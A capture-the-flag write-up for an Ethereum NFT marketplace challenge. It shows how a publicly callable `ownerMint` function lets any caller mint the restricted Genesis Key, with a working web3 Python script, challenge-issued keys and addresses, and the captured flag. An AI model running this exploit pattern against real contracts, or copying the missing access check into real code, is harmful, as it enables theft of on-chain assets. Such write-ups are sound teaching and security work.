

PixelForge is an Ethereum-based NFT marketplace challenge revolving around a collection of ten digital assets. The objective is to acquire the rarest token, the **Genesis Key** (`tokenId = 0`), which belongs exclusively to the contract deployer and is restricted from regular purchases via the frontend UI.

Vulnerability Analysis

Inspecting the frontend source code or the contract's ABI array reveals the following exposed function definitions:

```
JavaScript
const NFT_ABI = [
  "function purchase(uint256 tokenId) payable",
  "function ownerMint(address to, uint256 tokenId)",
  "function ownerOfSafe(uint256 tokenId) view returns (address)",
  "function isGenesisKeyClaimed() view returns (bool)",
  "function balanceOf(address) view returns (uint256)"
];
```

The Flaw

The function `ownerMint(address to, uint256 tokenId)` is named in a way that implies administrative authority. However, in Solidity, function naming does not enforce access restriction. Because the developer omitted the `onlyOwner` modifier (or equivalent validation checks), the function was left completely public and accessible to any caller. This allows an unauthorized user to mint arbitrary token IDs—including the restricted Genesis Key—directly to their own wallet address.

Exploitation Walkthrough

1. Information Gathering

From the browser's `localStorage` (via DevTools under the Storage tab), the session configuration parameters are extracted:

- **Target Contract:** `0x56fC17a65ccFEC6B7ad0aDe9BD9416CB365B9BE8`
- **Player Private Key:**
`0x21df524c1de9866dcda383bc7a825b98a8c06e9683ebd87023a4c917b6d1345b`
- **Player Address:** `0xc50b7488ebFb87e85526a4C3178D4d0b40f8a9A7`

- **Network RPC:** <http://103.213.38.195:9200> (Chain ID: 31337)

2. Execution

Using a Python script with the `web3` library, a raw transaction is crafted to call `ownerMint` targeting `tokenId = 0` sent to the player's address:

```
Python
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://103.213.38.195:9200'))
account =
w3.eth.account.from_key('0x21df524c1de9866dcda383bc7a825b98a8c06e9683ebd87023a4c9
17b6d1345b')

# Construct minimal ABI for the vulnerable function
abi =
[{'inputs':[{'name':'to','type':'address'},{'name':'tokenId','type':'uint256'}], 'name':'ownerMint', 'output
s':[], 'stateMutability':'nonpayable', 'type':'function'}]
contract = w3.eth.contract(address='0x56fC17a65ccFEC6B7ad0aDe9BD9416CB365B9BE8',
abi=abi)

# Build and sign transaction for Token ID 0
tx = contract.functions.ownerMint(account.address, 0).build_transaction({
    'chainId': 31337,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'nonce': w3.eth.get_transaction_count(account.address)
})

signed = w3.eth.account.sign_transaction(tx, account.key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print('Tx Hash:', w3.to_hex(tx_hash))
```

The transaction successfully executes and registers on-chain with the transaction hash:
[0x55b29b757ad314348a73078739dba1ebce9edc2d03c1782c3ab77fac75343f618](#)

Flag Retrieval

Upon refreshing the platform interface at <http://103.213.38.195:5200/>, the state change is detected, triggering the UI to reveal the flag:

Flag: CYBERNAUTS{0wn3r_m1nt_n0_0wn3r_fr33_g3n3s1s_k3y}

